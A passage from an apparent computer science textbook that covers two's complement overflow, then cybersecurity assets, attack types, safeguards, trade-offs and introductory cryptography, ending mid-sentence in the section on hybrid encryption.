`0000 0001` inverts to `1111 1110`, and adding `1` gives `1111 1111`. An 8-bit two's complement integer divides its 256 values between negative and nonnegative numbers, with a range of `−128` to `127`, one more negative value than positive because zero takes one of the nonnegative patterns. The fixed number of bits creates a limit. **Overflow** occurs when a result is too large for the bits available: in 8 bits holding values from `0` to `255`, `255 + 1` needs a ninth bit, which is lost, so the result is `0`. The same wraparound happens in two's complement when a result passes the largest positive value: in 8 bits, `127 + 1` becomes `−128`, so a counter or score that grows too large can suddenly appear as a large negative number. A wider type, one with more bits, extends the range of values that can be represented.

From transistors to colors and characters, these conventions are how a computer turns physical states into meaning. The same openness to interpretation has a cost, because anyone who can read or change the bits can read or change what they mean, and protecting those bits as they are stored and sent is the work of cybersecurity, the subject of the next part.

- **binary**: base 2, with place values `1`, `2`, `4`, `8`, `16`, and so on from the right
- **bit**: a single binary digit, `0` or `1`
- **byte**: 8 bits, with 256 possible values
- **place value**: the worth of a digit's position, double the place to its right in binary and sixteen times in hexadecimal
- **hexadecimal**: base 16, using `0` to `9` and `A` to `F`, with one digit for every four bits
- **hex dump**: a display of raw bytes in hexadecimal
- **encoding**: a convention that assigns meaning to patterns of bits
- **web color**: `#RRGGBB`, the red, green, and blue intensities as two hexadecimal digits each
- **ASCII**: a 7-bit character encoding for basic English text
- **Unicode**: a character set covering the world's writing systems
- **UTF-8**: a variable-length encoding of Unicode using one to four bytes per character
- **two's complement**: the usual representation of negative integers: invert the bits and add `1`
- **overflow**: a result too large for the available number of bits

Practice questions: 0003.h, page 777.

0004 Cybersecurity

The previous part described how devices are built, connected, and made to store and send data, and every one of those connections is also a way in for someone who shouldn't have it. Cybersecurity is the work of protecting computing systems and the information in them, and it is easiest to understand as a model with a few parts: there are **assets** worth protecting, **threats** that might harm them, **vulnerabilities** that give those threats an opening, and **safeguards** that reduce the chance or the cost of harm. This part takes up those parts in turn. Section 0004.a starts with the assets and the attacks aimed at them, sorted by the route an attacker takes, whether through people, through malicious code, through the network, or through access someone already has. Section 0004.b describes what defenders are trying to preserve, summarized as confidentiality, integrity, and availability,

and the physical, digital, and behavioral safeguards that preserve it. Because no safeguard is free, 0004.c analyzes the trade-offs involved in choosing one, against usability, privacy, performance, and cost. Section 0004.d looks closely at cryptography, the mathematical toolkit beneath many digital safeguards, including what it can and can't do. Section 0004.e turns to the weaknesses in software and devices that attacks exploit, many of which come from a program trusting input it shouldn't. The part ends in 0004.f with what happens when prevention fails, following the stages of incident response from preparation to the lessons learned afterward. Throughout, the same reasoning recurs: risk depends on both how likely a harm is and how bad it would be, and protection should be proportioned to it.

0004.a Assets and attacks

Protecting anything starts with knowing what is worth protecting and who might want it, so this section begins with assets and then turns to attacks. The attacks are many, and their names are easier to keep straight if you sort them by the route they take to an asset. Some go through people, persuading someone to hand over a secret or open a door. Some go through code, getting malicious software to run on a device. Some go through the network, either overwhelming a service or listening in on traffic. Some go through credentials, guessing or reusing passwords. And some don't need to break in at all, because the attacker already has legitimate or physical access. The section ends with a kind of attacker, the advanced persistent threat, that may combine all of these routes.

What is worth protecting

An **asset** is anything of value that someone could steal, alter, or make unusable. The most obvious assets are data. Personal data includes Social Security numbers, health records, and bank details, and organizational data includes student records and an organization's finances. Assets don't deserve equal protection, and the useful question to ask about each is what harm its exposure would cause. Student health records would cause lasting harm to individuals if exposed, so they rank far above a cafeteria menu or a staff directory already published on a district's website. Records about identifiable students, such as a spreadsheet linking ninth graders' names to their disciplinary actions, are protected, while a school's holiday calendar, a board agenda that has already been published, and a budget summary the board has released are not, since publishing them was the point. The kind of harm depends on the data: payroll records typically include Social Security numbers and bank details, so a breach of payroll data leads most directly to identity theft and financial fraud against employees, which is a different harm from losing product designs to competitors or losing a website to an outage.

Data isn't the only asset. **Credentials**, the usernames, passwords, and other secrets that prove who someone is, are assets in their own right, because they unlock everything else. Devices and the networks that connect them are assets too. An employee might argue that a company laptop isn't worth protecting because all customer files are kept on a central server, but an "empty" laptop can still hold saved logins and a trusted connection into the company's network, which gives an attacker a way in. A security plan that lists only an organization's files has therefore left out its staff

credentials, its computers, and the network between them.

Attacks through people

Many attacks never touch a technical weakness, because the easiest way past a well-maintained system is often to deceive a person who already has access. **Social engineering** is the general name for manipulating people rather than systems. Its tactics include urgency, which pressures someone to act before thinking; impersonation, in which an attacker pretends to be a boss, a vendor, or IT support; and baiting, which uses curiosity or an apparent gift to prompt a harmful action, as with infected USB drives left in a parking lot to be found and plugged in. Social engineering can be entirely physical: holding a door for a person in a delivery uniform can bypass badge readers and every other technical control in the building. A caller who claims to be a senior official and insists that a payment be made quickly and kept quiet is relying on urgency and secrecy to discourage the normal checking that would expose the fraud. Because these attacks target judgment, the defense is a procedure that doesn't depend on judgment in the moment, such as requiring help desk staff to confirm each caller's identity in a set way.

Phishing is social engineering delivered through deceptive messages, usually email or text, that trick people into revealing information or running malware. Most phishing is sent widely to whoever might fall for it. **Spear phishing** targets a specific person, using personal details such as a supervisor's name or a current project to make the message believable. Warning signs include urgency and lookalike addresses, such as a sender's domain with one letter changed. A lock icon in the browser isn't a sign of honesty, because attackers can obtain certificates for lookalike domains, and the lock shows only that the connection is encrypted. The reliable response to an unusual request is to verify it through a second channel that you already know to be genuine, such as a phone number on file, never one supplied in the message. No single defense is enough here. A mail filter is useful, but some messages will get through it, so organizations combine filtering with training and with multifactor authentication (described under 0004.b), which limits the damage if someone does enter a password on a fake site.

Attacks through code

The second route is getting malicious software, or **malware**, to run on a device, and malware is named by how it spreads and what it does. A **virus** attaches to files and spreads as those files are shared and opened, so it depends on people moving the files. A **worm** spreads on its own, from machine to machine across a network, without attaching to a file or waiting for anyone to act. A **Trojan** disguises itself as legitimate software, such as a free game or a fake update, and relies on users to install it. What malware does once installed gives the other names. **Spyware** covertly gathers data about a user, and a **keylogger** is a kind of spyware that specifically records keystrokes. Because a keylogger captures each key as it is typed on the device, it gets passwords before the browser encrypts them for sending, so encryption doesn't protect against it.

Ransomware is malware that encrypts a victim's files and demands payment for the key to decrypt

them. It often spreads across an organization's network before revealing itself, damaging as much as possible at once to raise the cost of refusing to pay. The defense that matters most is a backup that the ransomware can't reach: keeping at least one copy offline or otherwise isolated from the network lets an organization restore its files without depending on the attacker. Paying is a poor bet even when it seems cheaper, because payment doesn't guarantee that the attacker will provide a working key, that data wasn't copied before it was encrypted, or that the attacker has left the network.

Attacks through the network

The third route uses the network itself, either to block a service or to listen in on it. A **denial-of-service** attack makes a service unusable, and a **distributed denial-of-service (DDoS)** attack does this by flooding it with requests from many sources at once. The sources are usually a **botnet**, a group of compromised devices, such as computers, cameras, and routers, directed by an attacker. The risk of being drafted into a botnet grows with the number of devices and their openness to outside access, which is why poorly secured Internet-connected devices are a concern (0004.e returns to why). Because the requests come from many addresses, blocking any one of them leaves nearly all the rest, so services defend themselves by spreading incoming traffic across many servers and filtering it. In the terms of 0004.b, a denial-of-service attack compromises availability: nothing is stolen or changed, but people can't use the service when they need it.

Other network attacks aim to read or alter what passes over it. In **packet sniffing**, an attacker captures traffic crossing a network, which is especially easy on open Wi-Fi in a café or airport. If a site uses plain HTTP, which isn't encrypted, anyone on the same network can capture a password as it is sent. In a **man-in-the-middle** attack, the attacker goes further, positioning themselves between two parties and relaying their communication, so that each believes it is talking directly to the other while the attacker reads or changes everything in between. The defense against both is encryption of the traffic in transit, end to end where possible. A **virtual private network (VPN)** encrypts all traffic between a device and a trusted endpoint, such as an employer's network, which protects someone working on public Wi-Fi. A browser's certificate warning may signal that a connection is being intercepted, so a user who sees one at a login page should not proceed.

Attacks through credentials

Passwords get their own family of attacks, and the differences among them explain why different defenses matter. A **brute-force** attack tries every possible password in turn. A **dictionary attack** tries common choices first, such as `password1` or a pet's name, which is far faster against people who choose predictably. **Credential stuffing** takes username and password pairs leaked in one site's breach and tries them on other sites, so it depends entirely on people reusing passwords. Length protects against guessing, and uniqueness protects against stuffing: a long password that was leaked from one site is still impractical to guess, but the leaked copy will work wherever it was reused.

It also matters where the guessing happens. Online guessing goes through a site's login page, so

limiting attempts or locking an account after several failures makes it impractical. If attackers steal a database of password hashes (0004.d explains these), they can guess offline, on their own computers, where the guesses never pass through the company's login system and lockouts have no effect.

Attacks that use access someone already has

Firewalls and filters are built to keep outsiders out, and the last group of attacks comes from people they don't stop. An **insider threat** comes from someone with legitimate access. The insider may be malicious, such as an employee who copies records to sell, or careless, such as one who emails a file of student data to the wrong list, and both count, because a person with legitimate access caused the exposure. A common case is a former employee whose account was never disabled, which is a failure to remove access when a role ends. Because the activity comes from inside, through an account that is authorized to be there, a firewall watching the network's boundary sees nothing unusual. The defenses are to limit each account to the access its role requires (least privilege, described under 0004.b), to remove accounts promptly when people leave, and to monitor for misuse of authorized access.

Physical access is a route of its own. **Wardriving** means searching for wireless networks from a moving vehicle, looking for ones that are open or weakly protected, so it depends on there being a wireless network to find. Device theft needs no network at all, and **full-disk encryption** protects the stored data when a locked device is taken. **Shoulder surfing** is watching someone enter sensitive information, such as a password or a student's records, and it needs no technology; positioning screens away from walkways and adding privacy filters reduce the opportunity.

Advanced persistent threats

Most of the attacks above are opportunistic or aimed at quick profit. An **advanced persistent threat (APT)** is different in kind: a well-resourced attacker, often state-sponsored, that gains long-term, stealthy access to a target's network in pursuit of goals such as espionage. An APT may use any of the routes in this section, often with custom tools that security software hasn't seen before, and it moves slowly to avoid notice. Unlike ransomware, which announces itself with a ransom demand, an APT's goal depends on remaining undetected so that access can continue. One sign of its presence is a compromised machine making small, regular outbound connections to the same server, which suggests beaconing, a machine checking in with a command-and-control server that can send it instructions (0004.f describes this and other signs in logs). Because an APT may already be inside, further checks at the perimeter do little, and the more suitable defense is continuous monitoring for unusual activity across internal systems. Seeing what attackers try is the first half of the picture, and 0004.b turns to what defenders are trying to preserve and the safeguards they use.

- **asset**: anything of value, such as data, credentials, devices, or networks, that could be stolen, altered, or made unusable
- **social engineering**: manipulating people rather than systems, through tactics such as urgency,

impersonation, and baiting

- **baiting**: using curiosity or an apparent gift, such as a USB drive left to be found, to prompt a harmful action
- **phishing**: deceptive messages that trick people into revealing information or running malware
- **spear phishing**: phishing that targets a specific person using personal details
- **malware**: malicious software
- **virus**: malware that attaches to files and spreads as they are shared
- **worm**: malware that spreads on its own
- **Trojan**: malware disguised as legitimate software
- **spyware**: malware that covertly gathers data about a user
- **keylogger**: malware that records keystrokes
- **ransomware**: malware that encrypts a victim's files and demands payment for the key
- **distributed denial-of-service (DDoS)**: flooding a service with requests from many sources to make it unusable
- **botnet**: a group of compromised devices under an attacker's control
- **packet sniffing**: capturing traffic crossing a network
- **man-in-the-middle**: intercepting and relaying communication between two parties
- **virtual private network (VPN)**: an encrypted connection between a device and a trusted endpoint
- **brute-force attack**: trying all possible passwords
- **dictionary attack**: trying common passwords
- **credential stuffing**: trying passwords leaked from one breach on other sites
- **insider threat**: a threat from someone with legitimate access
- **wardriving**: searching for wireless networks from a moving vehicle
- **shoulder surfing**: watching someone enter sensitive information
- **advanced persistent threat (APT)**: a well-resourced, often state-sponsored attacker that gains long-term, stealthy access

Practice questions: 0004.a, page 790.

0004.b Safeguards

The attacks in 0004.a are varied, but what they damage can be described in only three ways, and those three goals give a way to organize the defenses. This section starts with the goals, then sorts safeguards into three kinds by what they act on: physical things, digital systems, and human behavior. It then looks at groups of safeguards that serve particular purposes, first controlling who can get in, then making sure data survives when something goes wrong, then detecting whether data has been changed. It ends with a small, familiar case, a home router, where several of these ideas meet.

What safeguards protect

The **CIA triad** names the three properties security tries to preserve. **Confidentiality** means that only authorized people can read data. **Integrity** means that data aren't improperly altered, so a stored record can be trusted as correct. **Availability** means that data and systems are usable when they are needed. Classifying a harm by these three makes the right response easier to see. A breach in which outsiders read student records is a loss of confidentiality. A student who changes a grade in the gradebook has violated integrity, even if nobody else ever reads it, while merely viewing the grade would have violated confidentiality. A server outage that keeps teachers from entering attendance, with nothing read or changed, is a loss of availability, the same property a denial-of-service attack targets. Safeguards often favor one property over another. Redundancy, such as a second server, serves availability. Keeping grades on a computer that is never connected to a network gives outsiders fewer chances to read them, which helps confidentiality, but it also gives teachers fewer hours in which they can use them, which costs availability. That kind of trade-off is the subject of 0004.c.

Three kinds of safeguard

Safeguards can be sorted by what they act on. Many security frameworks call these physical, technical, and administrative controls, where administrative controls are the policies, procedures, and training that shape what people do. This guide uses the names physical, digital, and behavioral.

Physical safeguards prevent direct access to hardware. They include locked rooms with controlled access for servers and network equipment, access badge readers at doors, cameras that discourage unauthorized entry and record who enters, and securing devices themselves, such as locking a laptop cart and keeping it in a secured room. Physical access can bypass many digital defenses, since someone who can plug into a network port or walk off with a device doesn't need to break a password, so physical safeguards also include disabling unused network ports and supervising visitors in the building. Login screens and network controls do nothing against a thief carrying away a cart of laptops, which is why securing the devices addresses theft directly.

Digital safeguards are built into hardware and software. They include encryption (the subject of 0004.d); **firewalls**, which allow or block traffic between networks according to set rules; access controls, which decide which accounts can use which resources; **intrusion detection** systems, which monitor for suspicious activity and raise alerts; **antivirus software**, which recognizes known malware; and regular patches, which close known vulnerabilities. Each has limits. Antivirus software can miss new or customized malware that doesn't match anything it recognizes, and a patch helps only if it is applied, so a breach through a flaw whose fix was available but never installed is a lapse in patching. Because any one safeguard can fail, organizations use several layers, so that one failure doesn't expose everything. This approach is called **defense in depth**, and it is the reason a firewall, antivirus software, and staff training are complements rather than alternatives.

Behavioral safeguards are practices and training that shape what people do. They include recognizing phishing, verifying unusual requests through a second channel, such as calling a vendor

at a number already on file before changing its bank details, and locking the screen each time a computer is left unattended, which stops others from using an open session. Simulated phishing messages give staff practice at spotting scams before a real one arrives, teaching them what real attempts look like. How training is delivered matters: short, frequent exercises that give feedback on realistic situations are more effective than a long video watched once a year. Behavioral safeguards also work better when the secure action is also the easy one. Asking staff to type a long password every time they return to a workstation invites them to leave it unlocked, while pairing a quick badge login with automatic locking of idle workstations makes locking painless.

Controlling who gets in

Many of the attacks in 0004.a end with someone using an account they shouldn't, so a central group of safeguards controls authentication, proving who someone is, and authorization, deciding what they can do. These safeguards cut across the three kinds above, since each combines a technology with a habit or a policy.

Multifactor authentication (MFA) requires two or more different types of factor: something you know, such as a password; something you have, such as a phone or security key; and something you are, such as a fingerprint. A password followed by a code from an app on the user's phone combines something known with something possessed. The factors must be of different types, so a password and a security question, or two passwords, are both things the user knows and count as one type. MFA mitigates attacks that use stolen passwords, because the password alone is no longer enough. It isn't complete protection, though: a fake login site can forward each code to the real site as the user types it. Where MFA can't be applied everywhere at once, administrator accounts and accounts used for remote access should come first, because compromising them would cause the most damage.

Passwords remain the first factor almost everywhere, and the attacks on them in 0004.a show what makes one strong. Long, random, unique passwords resist guessing and stop a single breach from unlocking other accounts. Length matters more than complexity, because each added random character multiplies the possibilities, while predictable substitutions such as `@` for `a` are already tried by attackers' tools. A passphrase of several unrelated, randomly chosen words is long and still memorable, and personal details such as a birthday are poor choices because they are predictable. Nobody can remember a different long password for each site, which is what a **password manager** solves, by storing them all behind one master password. The manager's master password then needs strong protection of its own, but one site's breach no longer unlocks other accounts. If a password does leak, it must be replaced everywhere it was used, with a different new password for each site.

Authentication establishes who someone is, and the **principle of least privilege** governs what they may then do: give users only the access their role requires. A clerk who enters invoices needs only the permissions that entering invoices requires, and a web application's database account should hold only the rights the application actually uses, such as read access on one table, so that an attacker who compromises the application is limited to what that account can do. Excess privilege increases the damage a compromised account can do, since an attacker who takes over a technician's

account gains everything that account can reach. File and folder sharing follows the same principle and should be limited to the individuals and groups who need access. An "unlisted" link isn't access control, because anyone who obtains the link can open the folder and no person is identified. Access also tends to grow over time, as people change roles and keep their old permissions while gaining new ones. This **privilege creep** calls for regular reviews of who has access to what.

Keeping data available and recoverable

The next group of safeguards assumes that something will eventually go wrong, whether a failed disk, a deleted file, or ransomware, and makes sure the data survives. **Backups** protect both integrity and availability, because a clean copy can replace data that was altered or lost. The **3-2-1 rule** calls for three copies of data, on two types of media, with one off site, for example the original, a copy on an external drive, and a copy at a separate location. The off-site copy protects against local disasters such as fire or flood. A backup that has never been restored is an assumption, so organizations should regularly test restoration to show that their backups can actually be used. Not every copy is a backup in this sense. Syncing or mirroring copies every change immediately, including an accidental deletion or an overwritten file, while **version history** keeps earlier copies so that a mistaken change can be undone.

Backups restore data after an outage, while **redundancy** prevents the outage. Redundant servers keep a service available if one fails, as when a second server continues the service when the first one goes down.

At the far end of protection is the **air gap**. An air-gapped computer has no physical or wireless connection to outside networks, which may mean that its network and wireless hardware has been removed. This eliminates remote access, but it doesn't stop threats carried in physically: the machine remains vulnerable to people with physical access and to removable media such as USB drives. Any connection, even a temporary one, creates a network path and removes the guarantee that remote access has been eliminated. The cost is convenience, since moving data and applying patches have to be done through careful manual procedures. That cost is justified only when the stakes are very high, as with the control system for a nuclear power plant, and not for systems that exist to be reached over a network, such as a gradebook.

Detecting changes with hashes

Backups help restore integrity, and hashes help detect when it has been lost. A **cryptographic hash** function turns any data into a short, fixed-length value that works as a one-way fingerprint of the data. It isn't encryption, since there is no key and nothing to decrypt, and it isn't compression, since the original can't be recovered from it. Changing even one character of the input produces a completely different hash, so comparing the hash of a downloaded file with the value its publisher posted reveals whether the file has been altered. Recording each important file's hash and comparing it on a regular schedule reveals changes to the files over time. A matching hash shows only that the file matches the published value, though. If an attacker has compromised the server that hosts

both the file and its posted hash, the attacker can replace both, and the match proves little. Hashes also have a second use, storing passwords, which 0004.d describes.

A small case: securing a home router

A home router, or the one in a small classroom or office, gathers several of these ideas into a short procedure. First, change the default administrator password, because default credentials are published and the administrator login controls the router's configuration. Second, use current encryption for the wireless network, such as **WPA3**, since the older WEP and the original WPA are weak. Third, disable unneeded remote administration, which closes a route by which outsiders could reach the router's settings; turning off unneeded features in general reduces the ways an attacker can get in. Fourth, update the router's firmware, which is how its own flaws are corrected. One common step doesn't help much: hiding the network's name is obscurity, not protection, because tools can still detect the network, so current encryption and strong passwords matter more. Each of these safeguards costs something, if only time, and 0004.c turns to how organizations weigh those costs.

- **CIA triad**: confidentiality, integrity, and availability
- **confidentiality**: only authorized people can read data
- **integrity**: data aren't improperly altered
- **availability**: data and systems are usable when needed
- **physical safeguards**: protections that prevent direct access to hardware, such as locks, badges, and cameras
- **digital safeguards**: protections built into hardware and software, such as encryption, firewalls, and patches
- **behavioral safeguards**: practices and training, such as verifying requests and locking screens
- **firewall**: a device or program that allows or blocks traffic between networks according to set rules
- **intrusion detection**: monitoring for suspicious activity and raising alerts
- **defense in depth**: using layers of safeguards so that one failure doesn't expose everything
- **multifactor authentication (MFA)**: requiring two or more types of factor, from something you know, have, and are
- **password manager**: software that stores many unique passwords behind one master password
- **principle of least privilege**: giving users only the access their role requires
- **privilege creep**: the accumulation of access over role changes
- **3-2-1 rule**: three copies, on two types of media, with one off site
- **version history**: earlier copies of a file kept so that changes can be undone
- **redundancy**: duplicate systems that keep a service running if one fails
- **air gap**: no physical or wireless connection to outside networks
- **cryptographic hash**: a one-way fingerprint of data, used to detect alteration
- **WPA3**: current encryption for wireless networks

Practice questions: 0004.b, page 807.

0004.c Security trade-offs

Every safeguard in 0004.b costs something. It may cost users time and patience, deny access to someone who legitimately needs it, collect information about people, slow a system down, or simply cost money and staff hours. Security decisions are therefore choices among goods, and the central tension of this section is between protection and everything that protection takes away. One principle runs through all of these choices: protection should be proportional to **risk**, which combines the likelihood of a harm with its impact. This section first looks at five things security is traded against, usability, availability, privacy, performance, and cost, and then at three recurring decisions, password policy, patch timing, and the use of outside vendors, in which several of those trade-offs come together.

What security is traded against

The most visible trade-off is with usability. Stronger security often adds friction: short session timeouts and multifactor authentication protect accounts but inconvenience legitimate users, and users who find a control too burdensome look for workarounds, such as writing passwords on sticky notes or sharing one logged-in account. A control that people bypass can leave systems less secure in practice than a milder one they follow, so the best approach is to examine how people work and then choose controls they can actually follow. Friction should be proportional to the risk. A bank can reasonably log users out faster than a recipe app, and an organization might use simpler sign-in methods for low-risk apps and stronger ones for sensitive systems, since requiring MFA for every trivial task pushes users toward unsafe shortcuts.

A second trade-off lies inside the CIA triad itself, between confidentiality and availability. Tighter restrictions improve confidentiality, but they can block legitimate access, as when a web filter blocks an educational site a teacher needs, or when staff with a genuine need can't reach a student's medical information in time. Controls should fit the sensitivity of the data and the needs of its users, so the right response to an overzealous filter is to review the block and allow the specific site. Some designs preserve both properties. Emergency **"break-glass" access** lets someone bypass a normal restriction in an urgent situation, while logging each use and reviewing it afterward, which keeps information available and keeps people accountable. Confidentiality pursued without regard to availability can defeat itself: if a single person holds the only key to a company's encrypted files, the files are well protected from outsiders, but the company can't use them either if that person leaves or forgets it.

A third trade-off sets security against privacy, and it can be surprising, since both sound like protection. Detailed monitoring and logging improve threat detection, but they collect more information about the people being monitored. The same data that helps detect an attack on a school network also reveals what students do online, and inspecting all of a company's encrypted traffic makes employees' personal traffic, such as online banking, visible to company systems. The privacy cost can be reduced without giving up detection: collect only what is needed, keep it briefly, limit who can read it, and be transparent, for example by telling families what is monitored and why, so that people understand the trade-off being made on their behalf.

A fourth trade-off is with performance. Encryption, malware scanning, and logging all consume processing and network resources. HTTPS, for example, adds a slightly slower setup to each encrypted connection, before page data begins to flow, in exchange for protection. For sensitive data, small costs like this are usually worth accepting. Where a cost becomes large, tuning a control often preserves most of the protection: scans can skip trusted folders where software is built, with full scans run on a schedule, and logging can record only the events that matter, which keeps most of the value at less cost.

The last of these trade-offs, cost, underlies all the others. Safeguards cost money and staff time, and no organization can afford all of them, so organizations prioritize risks by their combination of likelihood and impact. A staff password known to have been stolen is high on both, since someone is likely to use it and it opens real systems, so it comes before a risk that is unlikely or would do little harm. A safeguard that costs far more than the loss it would prevent isn't worth buying. A safeguard's real cost includes the staff time needed to make use of it, so an intrusion detection system whose alerts nobody reads protects little. And the absence of past attacks isn't evidence of safety: never having been attacked doesn't lower the risk that a known flaw presents.

Three recurring decisions

Several of these trade-offs meet in decisions every organization faces. Password policy is one. Requiring very frequent forced password changes seems to increase security, but it adds friction, and people respond with predictable variations, changing `Spring2031!` to `Summer2031!`, which attackers can guess. Current guidance, including the federal guidelines published by the National Institute of Standards and Technology (NIST), therefore favors long, unique passwords, screening out passwords that have appeared in breaches because attackers are likely to try those first, and requiring a change when compromise is suspected rather than on a calendar. If a breach exposes some users' passwords, those users should change them now and be warned against reuse. Because length matters so much, a policy that sets a low maximum length is a weakness, since it limits strength and pushes users toward predictable choices.

Patch timing is a second decision, and it balances speed against stability. Prompt patching closes known vulnerabilities, but an untested update can disrupt the systems it is meant to protect, so organizations balance speed against testing, particularly for critical systems. A common approach is to test quickly on a copy of the system and then patch promptly while monitoring for problems. A **staged rollout** releases an update to a small group first, ideally outside peak periods such as a store's busiest sales week, which limits the effect of a bad update. If patching is impractical, for instance because a machine runs equipment that the update would break, isolating the system on a restricted network limits its exposure. For a **zero-day** vulnerability, no fix yet exists (0004.e explains the term), so the only options are mitigations, such as restricting use of the affected tool, and monitoring its logs until the correction arrives.

Third-party risk is the last. Vendors and outside software libraries add capabilities and speed, since no school or company builds everything itself, but each one adds risk, because a weakness in the vendor's systems or the library's code becomes a weakness in yours. Organizations should assess

vendors' security before contracting, by reviewing evidence of their security practices. Software projects should include only the dependencies they need, removing unneeded packages and watching the remainder for updates. **Pinning** library versions, so that the project uses a specific version until someone deliberately changes it, and reviewing updates before adopting them, keeps a compromised release from spreading into a project automatically. Using a vendor doesn't transfer an organization's duties: handing data to a vendor doesn't remove the need to manage the risk to that data. Dependence isn't always the riskier choice, though. A specialist's well-tested login service can be safer than custom authentication written in house, which is likely to contain subtle flaws, despite the dependency it adds. Weighing these options well requires knowing what the tools can actually do, and the most important of those tools, cryptography, is the subject of 0004.d.

- **risk**: the combination of the likelihood of a harm and its impact
- **workaround**: a way users bypass a burdensome control
- **break-glass access**: emergency access that bypasses a normal restriction, logged and reviewed after each use
- **staged rollout**: releasing an update to a small group before everyone
- **pinning**: fixing a dependency at a specific version until it is deliberately changed
- **third-party risk**: risk introduced by vendors and outside libraries

Practice questions: 0004.c, page 823.

0004.d Cryptography

Encryption appeared in 0004.b as one digital safeguard among several, but it underlies many of the others, from HTTPS to the protection of a stolen laptop, so it deserves a closer look. This section first sets out the vocabulary every cipher shares. It then follows cryptography roughly as it developed. Classical ciphers show how encryption can fail, and the lessons drawn from those failures, about secret keys, key length, and human procedure, still govern modern design. Modern cryptography then solves two problems, keeping data secret and proving who sent it, using two kinds of key arrangement. The section ends with a related use of hashing, storing passwords, and with the limits of encryption, including the one that quantum computers may someday pose.

The building blocks

Encryption uses an **algorithm**, a published procedure, and a **key**, a secret value, to convert readable **plaintext** into unreadable **ciphertext**. **Decryption** reverses the process using the appropriate key.[88] Suppose two teachers use the same encryption program, the algorithm, on the same exam file, each with a different key. The key changes how the algorithm transforms the data, so their ciphertexts differ, and neither teacher's key will decrypt the other's file. Trying the wrong key doesn't damage anything; it simply produces meaningless output and leaves the stored ciphertext intact, so the correct key will still work.

[88] MWC2, Encryption: Caesar and polyalphabetic ciphers, and keeping secrets beyond the math.

The key is what distinguishes encryption from **encoding**, which changes the form of data without any secret. Hexadecimal, described under 0003.h, is an encoding, and so is Base64, which represents binary data as text. Anyone can convert encoded data back, so a message that has only been encoded is not protected at all.

Classical ciphers and what they teach

The oldest ciphers make these ideas concrete. The **Caesar cipher** shifts each letter forward by the same fixed number of positions in the alphabet. With a shift of 3, `A` becomes `D`, `C` becomes `F`, and `T` becomes `W`, so `HELLO` becomes `KHOOR` and `ATTACK` becomes `DWWDFN`.[89] In a program, letters are often numbered from `0` for `A` to `25` for `Z`, and the shift must wrap around from the end of the alphabet to the start, which is done with the remainder after dividing by 26: `msg[i] = (msg[i] + shift) % 26`. For `Z` shifted by 3, `25 + 3` is `28`, and `28 % 26` is `2`, which is `C`.

The Caesar cipher is easily broken, in two ways. The first is brute force: there are only 25 useful shifts, so an attacker can try each and look for readable text. The second, **frequency analysis**, works even on ciphers with many more possible keys. Any cipher that always substitutes the same ciphertext letter for the same plaintext letter preserves how often each letter occurs. In English, `E` is the most common letter, at about 12 percent of ordinary text, so if `Q` makes up about 12 percent of a long ciphertext, `Q` probably stands for `E` or another common letter. **Polyalphabetic ciphers** resist simple frequency analysis by using a sequence of shifts, so that the same plaintext letter is enciphered differently at different positions. If the shifts alternate between 1 and 5, a run of four `E`s becomes `F`, `J`, `F`, `J`, and spreading each letter across several ciphertext letters in this way flattens the frequencies an attacker would look for.

History shows that even a much stronger design can fail. During World War II, Germany used the **Enigma** machine, which had an enormous number of possible settings, and Allied codebreakers at Bletchley Park broke it anyway.[90] They succeeded partly through sustained analysis and partly through the German operators' procedural errors, such as reusing keys and sending predictable messages. Daily weather reports, for instance, contained predictable phrases, which gave the codebreakers **known plaintext**: a guessed fragment of a message let them test candidate settings and rule out those that didn't turn the ciphertext into the guessed words. The intelligence from decrypted messages influenced Allied military operations during the war. The lesson is that a vast number of settings doesn't ensure security when procedures are poor, and reused keys and predictable message headers repeat the same kind of weakness today.

A second lesson concerns what should be secret. Under **Kerckhoffs's principle**, a system's security should depend on keeping the key secret, not the algorithm. A design known to many people, such as everyone who builds or uses a product, is hard to keep secret, and if it leaks it can't easily be changed, whereas a key can be protected and replaced. Open algorithms have another advantage: published ciphers get scrutiny from experts, so their flaws are more likely to be found before attackers exploit them. Strong open algorithms are used with random keys and random seed values, and

[89] MWC2, Encryption: Caesar and polyalphabetic ciphers, and keeping secrets beyond the math.
[90] MWC2, Encryption: Caesar and polyalphabetic ciphers, and keeping secrets beyond the math.

that requirement matters. If a program generates keys with predictable random numbers, or if its key is written into source code that the public can read, the cipher may be sound but anyone can obtain the key, and the strength of the algorithm offers no protection.

The third lesson is about **key length**, which sets how hard brute force is. Each additional bit doubles the number of possible keys, so longer keys are much harder to guess by trying every one. A 40-bit key has `2^40` possible values, so at `2^30` guesses per second an attacker can try them all in `2^10` seconds, about 17 minutes. A 42-bit key at the same speed takes `2^42 / 2^30`, or `2^12` seconds, which is `4,096` seconds, a little more than an hour. Adding four more bits multiplies the number of keys, and the time, by `2^4`, or 16, so a search that took one day would take 16 days. Modern keys of 128 bits or more are far beyond brute force. Key length addresses only that one attack, though. Attackers often go around encryption instead of through it, and longer keys don't help when they steal passwords.

Keeping data secret: symmetric, asymmetric, and hybrid encryption

Modern encryption comes in two arrangements of keys. In **symmetric encryption**, one shared key both encrypts and decrypts. It is fast, as in the **Advanced Encryption Standard (AES)**, which makes it suitable for large amounts of data such as whole disks. Its difficulty is the key itself. The parties must exchange the key securely, and sending the key along with the ciphertext, for example in the same email, gives an interceptor everything needed to decrypt it. Each pair of people who want to communicate privately also needs its own key, so `n` people need `n(n−1)/2` keys, and 10 people need `10 * 9 / 2`, or `45`. For whole-disk encryption, neither problem arises, since the owner is the only user and no key has to be sent anywhere.

Asymmetric encryption, also called public-key encryption, solves the exchange problem with a mathematically related **key pair**. Data encrypted with the **public key** can be decrypted only with the matching **private key**, so anyone can write to you, and only you can read it.[91] A newspaper that wants to receive anonymous tips can post its public key online and decrypt tips with its private key. The public key is meant to be shared and is safe to share: someone who copies it can encrypt further messages to its owner but can't read a message encrypted with it, since the public key doesn't reveal the private key. The private key is what must stay private, and if it is stolen, the thief can decrypt every captured message ever encrypted to the matching public key. **RSA** is a common asymmetric algorithm. It lets parties communicate with no previously shared secret, and its cost is speed, since it is much slower than symmetric encryption. (Not every cryptographic name is a cipher: SHA-256 and bcrypt, which appear below, are hash functions.)

Each kind of encryption has the strength the other lacks, so real systems combine them in **hybrid encryption**. A web connection using HTTPS typically uses an asymmetric method to establish a shared key securely, then uses fast symmetric encryption such as AES for the rest of the communication, since key-pair operations are too slow for a large, continuous volume of data. Some of these methods let two parties agree on a shared key over an open network, where each side's private

[91] MWC2, Sub Rosa: public and private keys in a messaging system.

